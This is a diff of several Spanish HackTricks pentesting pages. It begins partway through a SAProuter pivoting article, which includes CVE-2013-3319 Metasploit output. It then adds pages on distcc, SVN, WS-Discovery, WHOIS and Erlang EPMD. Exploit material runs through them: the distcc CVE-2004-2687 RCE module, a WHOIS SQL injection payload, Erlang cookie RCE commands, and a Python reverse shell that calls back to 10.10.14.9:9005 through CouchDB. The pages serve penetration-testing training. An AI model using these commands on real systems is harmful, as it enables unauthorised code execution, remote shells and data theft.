Portscan Results
|
||||
================
|
||||
|
||||
Host Port State Info
|
||||
---- ---- ----- ----
|
||||
192.168.1.1 3201 open SAP Dispatcher sapdp01
|
||||
192.168.1.1 80 open
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
A partir de la salida y la información previa, ahora sabemos que la ACL es algo así:
|
||||
|
||||
* Permitir conexiones TCP desde cualquier host a 192.168.1.1 al puerto 80
|
||||
* Permitir conexiones TCP desde cualquier host a 192.168.1.18 al puerto 80
|
||||
* Permitir conexiones TCP desde cualquier host a 192.168.1.1 al puerto 3201
|
||||
* Permitir conexiones TCP desde cualquier host a 192.168.1.18 al puerto 3201
|
||||
* Permitir conexiones SAP desde cualquier host a 192.168.1.18 al puerto 3200
|
||||
|
||||
**Enumeración ciega de hosts internos**
|
||||
|
||||
Si recuerdas, comenzamos obteniendo información del saprouter que nos permitió conocer la dirección IP de un host interno, y continuamos a partir de ahí. Pero, ¿qué pasa si el saprouter no nos proporciona esa información?
|
||||
|
||||
Una opción es simplemente comenzar a escanear espacios de direcciones privadas y ver qué sucede. La otra es enumerar ciegamente hosts por nombre de host.
|
||||
|
||||
Los saprouters pueden resolver los nombres de host que les solicitamos que se conecten. Saprouter también es lo suficientemente amable como para informarnos de los errores cuando no puede conectarse \(en realidad se pueden ver las respuestas en bruto descomentando la línea 242 en el origen del módulo\).
|
||||
|
||||
Con esta función, podemos enumerar hosts internos por nombre de host e intentar ir directamente al objetivo.
|
||||
|
||||
Para ello, debemos establecer la opción RESOLVE en "remoto". En este caso, el módulo solicitará la conexión a los OBJETIVOS definidos, sin resolverlos localmente, y podemos intentar adivinar los hosts internos y, eventualmente, conectarnos a ellos sin conocer nunca sus direcciones IP.
|
||||
|
||||
Cosas importantes a recordar al enumerar hosts ciegamente:
|
||||
|
||||
* Establecer VERBOSE en verdadero;
|
||||
* Obtendremos más información de saprouter si MODE se establece en SAP\_PROTO;
|
||||
* Es suficiente con establecer solo un puerto para escanear, ya que solo nos interesa en este punto la información enviada por saprouter \(intenta con 3200\);
|
||||
* Los resultados variarán según la ACL configurada. Desafortunadamente, las conexiones bloqueadas no nos darán mucha información.
|
||||
|
||||
En este ejemplo, intentaremos los nombres de host sap, sapsrv y sapsrv2.
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set RESOLVE remote
|
||||
RESOLVE => remote
|
||||
msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO
|
||||
MODE => SAP_PROTO
|
||||
msf auxiliary(sap_router_portscanner) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2
|
||||
TARGETS => sap,sapsrv,sapsrv2
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 3200
|
||||
PORTS => 3200
|
||||
msf auxiliary(sap_router_portscanner) > run
|
||||
|
||||
[*] Scanning sap
|
||||
[-] sap:3200 - unknown host
|
||||
[!] Warning: Service info could be inaccurate
|
||||
[*] Scanning sapsrv
|
||||
[-] sapsrv:3200 - host unreachable
|
||||
[!] Warning: Service info could be inaccurate
|
||||
[*] Scanning sapsrv2
|
||||
[+] sapsrv2:3200 - TCP OPEN
|
||||
[!] Warning: Service info could be inaccurate
|
||||
|
||||
Portscan Results
|
||||
================
|
||||
|
||||
Host Port State Info
|
||||
---- ---- ----- ----
|
||||
sapsrv2 3200 open SAP Dispatcher sapdp00
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
Del resultado, vemos que el host "sap" no existe, pero el host "sapsrv" sí existe, aunque no se puede acceder a él, y "sapsrv2" existe y podemos conectarnos al puerto 3200.
|
||||
|
||||
Esta técnica también se puede utilizar para intentar encontrar otros hosts en la red, no relacionados con SAP, simplemente intentando usar nombres de host comunes, como smtp, exchange, pdc, bdc, fileshare, intranet, o cualquier otro nombre de host que tengas en tu bolsa de trucos.
|
||||
|
||||
**La última milla**
|
||||
|
||||
Ahora que hemos obtenido toda esta información, conocemos los hosts internos disponibles, qué servicios están permitidos y qué protocolos podemos usar para atravesar el saprouter, podemos conectarnos a los servidores internos y proceder con nuestra prueba de penetración.
|
||||
|
||||
Metasploit nos proporciona una forma impresionante de usar saprouter como proxy, utilizando la opción Proxies, gracias a Dave Hartley \([@nmonkee](http://twitter.com/nmonkee)\).
|
||||
|
||||
Así que en este punto, queremos comenzar a recopilar información sobre el servidor SAP interno que hemos descubierto en el host 192.168.1.18. Como ejemplo, utilizaremos el módulo [`sap_hostctrl_getcomputersystem`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem), que explota CVE-2013-3319 y nos proporciona detalles sobre el sistema operativo en el que se está ejecutando el servidor mediante la consulta del servicio SAP Host Control en el puerto 1128 a través de una solicitud SOAP no autenticada. Estaremos pivotando a través del saprouter, utilizando el soporte de proxy en metasploit:
|
||||
|
||||
![](https://blog.rapid7.com/content/images/post-images/33923/image2.jpg)
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
||||
Proxies => sapni:1.2.3.101:3299
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
||||
RHOSTS => 192.168.1.18
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
||||
|
||||
[+] 192.168.1.18:1128 - Information retrieved successfully
|
||||
[*] 192.168.1.18:1128 - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT)
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
Si todo ha ido bien, tendrás una salida agradable del módulo en el botín que contiene información interna interesante del host SAP objetivo (como nombres de usuario internos que luego puedes intentar forzar).
|
||||
|
||||
¡El pivoteo puede (y debe!) ser utilizado para ejecutar otros módulos contra hosts internos, no solo sistemas SAP!
|
||||
|
||||
**Conclusión**
|
||||
|
||||
Hemos visto cómo es posible explotar configuraciones débiles de saprouter que pueden permitir el acceso a hosts internos desde Internet, todo esto utilizando solo el soporte de metasploit para pentesting de sistemas SAP.
|
||||
|
||||
Espero que este artículo pueda ayudar a arrojar luz sobre los riesgos asociados con las implementaciones de saprouter, así como sobre la seguridad de SAP en general.
|
||||
|
||||
**Referencias**
|
||||
|
||||
* [http://labs.mwrinfosecurity.com/blog/2012/09/13/sap-smashing-internet-windows/](http://labs.mwrinfosecurity.com/blog/2012/09/13/sap-smashing-internet-windows/)
|
||||
* \[[http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2](http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2) - Mariano Nun ez Di Croce - SAProuter .pdf\]\([http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2](http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2) - Mariano Nunez Di Croce - SAProuter .pdf\)
|
||||
* [http://scn.sap.com/docs/DOC-17124](http://scn.sap.com/docs/DOC-17124)
|
||||
* [http://help.sap.com/saphelp\_nw70/helpdata/EN/4f/992dfe446d11d189700000e8322d00/f rameset.htm](http://help.sap.com/saphelp_nw70/helpdata/EN/4f/992dfe446d11d189700000e8322d00/frameset.htm)
|
||||
* [http://help.sap.com/saphelp\_dimp50/helpdata/En/f8/bb960899d743378ccb8372215bb767 /content.htm](http://help.sap.com/saphelp_dimp50/helpdata/En/f8/bb960899d743378ccb8372215bb767/content.htm)
|
||||
* [http://labs.integrity.pt/advisories/cve-2013-3319/](http://labs.integrity.pt/advisories/cve-2013-3319/)
|
||||
* [SAP Service Discovery \| Rapid7](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_service_discovery)
|
||||
* [SAPRouter Admin Request \| Rapid7](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_info_request)
|
||||
* [CVE-2013-3319 SAP Host Agent Information Disclosure \| Rapid7](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem)
|
||||
* [SAPRouter Port Scanner \| Rapid7](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_portscanner)
|
||||
|
||||
# Shodan
|
||||
|
||||
* `port:3299 !HTTP Network packet too big`
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
43
network-services-pentesting/3632-pentesting-distcc.md
Normal file
43
network-services-pentesting/3632-pentesting-distcc.md
Normal file
|
@ -0,0 +1,43 @@
|
|||
# Información Básica
|
||||
|
||||
Distcc está diseñado para acelerar la compilación aprovechando la potencia de procesamiento no utilizada en otros ordenadores. Una máquina con distcc instalado puede enviar código para ser compilado a través de la red a un ordenador que tenga el demonio distccd y un compilador compatible instalado.
|
||||
|
||||
**Puerto predeterminado:** 3632
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3632/tcp open distccd
|
||||
```
|
||||
# Explotación
|
||||
|
||||
Comprueba si es vulnerable a **CVE-2004-2687** para ejecutar código arbitrario:
|
||||
```bash
|
||||
msf5 > use exploit/unix/misc/distcc_exec
|
||||
nmap -p 3632 <ip> --script distcc-exec --script-args="distcc-exec.cmd='id'"
|
||||
```
|
||||
# Shodan
|
||||
|
||||
_No creo que Shodan detecte este servicio._
|
||||
|
||||
# Recursos
|
||||
|
||||
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
|
||||
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
|
||||
|
||||
Post creado por **Álex B (@r1p)**
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,36 @@
|
|||
# Información Básica
|
||||
|
||||
Subversion es una de las muchas opciones de control de versiones disponibles hoy en día. A menudo se abrevia como SVN.\
|
||||
Subversion se utiliza para mantener versiones actuales e históricas de proyectos. Subversion es un sistema de control de versiones centralizado de código abierto. Está licenciado bajo Apache. También se le conoce como un sistema de control de versiones y revisión de software.
|
||||
|
||||
**Puerto predeterminado:** 3690
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3690/tcp open svnserve Subversion
|
||||
```
|
||||
## Obtención de Banner
|
||||
```
|
||||
nc -vn 10.10.10.10 3690
|
||||
```
|
||||
## Enumeración
|
||||
```bash
|
||||
svn ls svn://10.10.10.203 #list
|
||||
svn log svn://10.10.10.203 #Commit history
|
||||
svn checkout svn://10.10.10.203 #Download the repository
|
||||
svn up -r 2 #Go to revision 2 inside the checkout folder
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,35 @@
|
|||
# Información Básica
|
||||
|
||||
El Protocolo de Descubrimiento Dinámico de Servicios Web (WS-Discovery) es un protocolo de descubrimiento multicast que localiza servicios en una red local.
|
||||
|
||||
En la terminología de WS-Discovery, un Servicio Objetivo es un punto final que se pone a disposición para el descubrimiento, mientras que un Cliente es un punto final que busca Servicios Objetivo. Ambos utilizan consultas SOAP sobre UDP a la dirección multicast 239.255.255.250 con el puerto UDP de destino 3702.
|
||||
|
||||
![](<../.gitbook/assets/image (633).png>)
|
||||
|
||||
Un Servicio Objetivo envía un saludo multicast Hello 1 cuando se une a una red. El Servicio Objetivo puede recibir una sonda multicast Probe 2, un mensaje enviado por un Cliente que busca un Servicio Objetivo por Tipo, en cualquier momento. El Tipo es un identificador para el punto final. Por ejemplo, una cámara IP podría tener NetworkVideoTransmitter como Tipo. También podría enviar una sonda unicast Probe Match3 si el Servicio Objetivo coincide con una sonda (otros Servicios Objetivo que coincidan también podrían enviar coincidencias de sonda unicast). De manera similar, un Servicio Objetivo podría recibir una resolución multicast Resolve4 en cualquier momento, un mensaje enviado por un Cliente que busca un Objetivo por nombre, y enviar una resolución unicast Resolve Match5 si es el objetivo de una resolución. Finalmente, cuando un Servicio Objetivo abandona una red, hace un esfuerzo por enviar un multicast Bye 6.
|
||||
|
||||
**Puerto predeterminado**: 3702
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3702/udp open|filtered unknown
|
||||
| wsdd-discover:
|
||||
| Devices
|
||||
| Message id: 39a2b7f2-fdbd-690c-c7c9-deadbeefceb3
|
||||
| Address: http://10.0.200.116:50000
|
||||
|_ Type: Device wprt:PrintDeviceType
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
77
network-services-pentesting/43-pentesting-whois.md
Normal file
77
network-services-pentesting/43-pentesting-whois.md
Normal file
|
@ -0,0 +1,77 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Información Básica
|
||||
|
||||
**WHOIS** (pronunciado como la frase "who is") es un protocolo de consulta y respuesta que se utiliza ampliamente para consultar bases de datos que almacenan los usuarios registrados o asignatarios de un recurso de Internet, como un nombre de dominio, un bloque de direcciones IP o un sistema autónomo, pero también se utiliza para una amplia gama de otra información. (De [aquí](https://en.wikipedia.org/wiki/WHOIS))
|
||||
|
||||
**Puerto predeterminado:** 43
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
43/tcp open whois?
|
||||
```
|
||||
# Enumeración
|
||||
|
||||
Obtener toda la información que un servicio whois tiene sobre un dominio:
|
||||
```bash
|
||||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
Ten en cuenta que a veces, al solicitar información a un servicio WHOIS, la base de datos utilizada aparece en la respuesta:
|
||||
|
||||
![](<../.gitbook/assets/image (147).png>)
|
||||
|
||||
Además, el servicio WHOIS siempre necesita utilizar una **base de datos** para almacenar y extraer la información. Por lo tanto, podría existir una posible **inyección SQL** al **consultar** la base de datos a partir de alguna información proporcionada por el usuario. Por ejemplo, al hacer `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` podrías ser capaz de **extraer toda** la **información** guardada en la base de datos.
|
||||
|
||||
# Shodan
|
||||
|
||||
* `port:43 whois`
|
||||
|
||||
# Comandos Automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
Port_Number: 43 #Comma separated if there is more than one.
|
||||
Protocol_Description: WHOIS #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for WHOIS
|
||||
Note: |
|
||||
WHOIS (pronounced as the phrase "who is") is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smtp
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
Description: Grab WHOIS Banner
|
||||
Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 43
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,96 @@
|
|||
# Información Básica
|
||||
|
||||
El demonio de mapeo de puertos de Erlang se utiliza para coordinar instancias de Erlang distribuidas. Su trabajo es **mantener un registro de qué nombre de nodo escucha en qué dirección**. Por lo tanto, epmd mapea nombres de nodos simbólicos a direcciones de máquina.
|
||||
|
||||
**Puerto predeterminado**: 4369
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
4369/tcp open epmd Erlang Port Mapper Daemon
|
||||
```
|
||||
Esto se utiliza por defecto en las instalaciones de RabbitMQ y CouchDB.
|
||||
|
||||
# Enumeración
|
||||
|
||||
## Manual
|
||||
```bash
|
||||
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
|
||||
|
||||
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
|
||||
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
|
||||
apt-get install erlang
|
||||
erl #Once Erlang is installed this will promp an erlang terminal
|
||||
1> net_adm:names('<HOST>'). #This will return the listen addresses
|
||||
```
|
||||
## Automático
|
||||
```bash
|
||||
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
4369/tcp open epmd Erlang Port Mapper Daemon
|
||||
| epmd-info:
|
||||
| epmd_port: 4369
|
||||
| nodes:
|
||||
| bigcouch: 11502
|
||||
| freeswitch: 8031
|
||||
| ecallmgr: 11501
|
||||
| kazoo_apps: 11500
|
||||
|_ kazoo-rabbitmq: 25672
|
||||
```
|
||||
# Erlang Cookie RCE
|
||||
|
||||
## Conexión Remota
|
||||
|
||||
Si puedes **filtrar la cookie de autenticación**, podrás ejecutar código en el host. Por lo general, esta cookie se encuentra en `~/.erlang.cookie` y es generada por Erlang en el primer inicio. Si no se modifica ni se establece manualmente, es una cadena aleatoria \[A:Z] con una longitud de 20 caracteres.
|
||||
```bash
|
||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||
|
||||
Eshell V8.1 (abort with ^G)
|
||||
|
||||
At last, we can start an erlang shell on the remote system.
|
||||
|
||||
(test@target.fqdn)1>os:cmd("id").
|
||||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||||
```
|
||||
Más información en [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
El autor también comparte un programa para hacer fuerza bruta en la cookie:
|
||||
|
||||
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
|
||||
|
||||
## Conexión Local
|
||||
|
||||
En este caso vamos a abusar de CouchDB para escalar privilegios localmente:
|
||||
```bash
|
||||
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
||||
"homer\n"
|
||||
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
||||
```
|
||||
Ejemplo tomado de [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
||||
Puedes usar la máquina Canape de HTB para **practicar** cómo **explotar esta vulnerabilidad**.
|
||||
|
||||
## Metasploit
|
||||
```bash
|
||||
#Metasploit can also exploit this if you know the cookie
|
||||
msf5> use exploit/multi/misc/erlang_cookie_rce
|
||||
```
|
||||
# Shodan
|
||||
|
||||
* `port:4369 "en el puerto"`
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
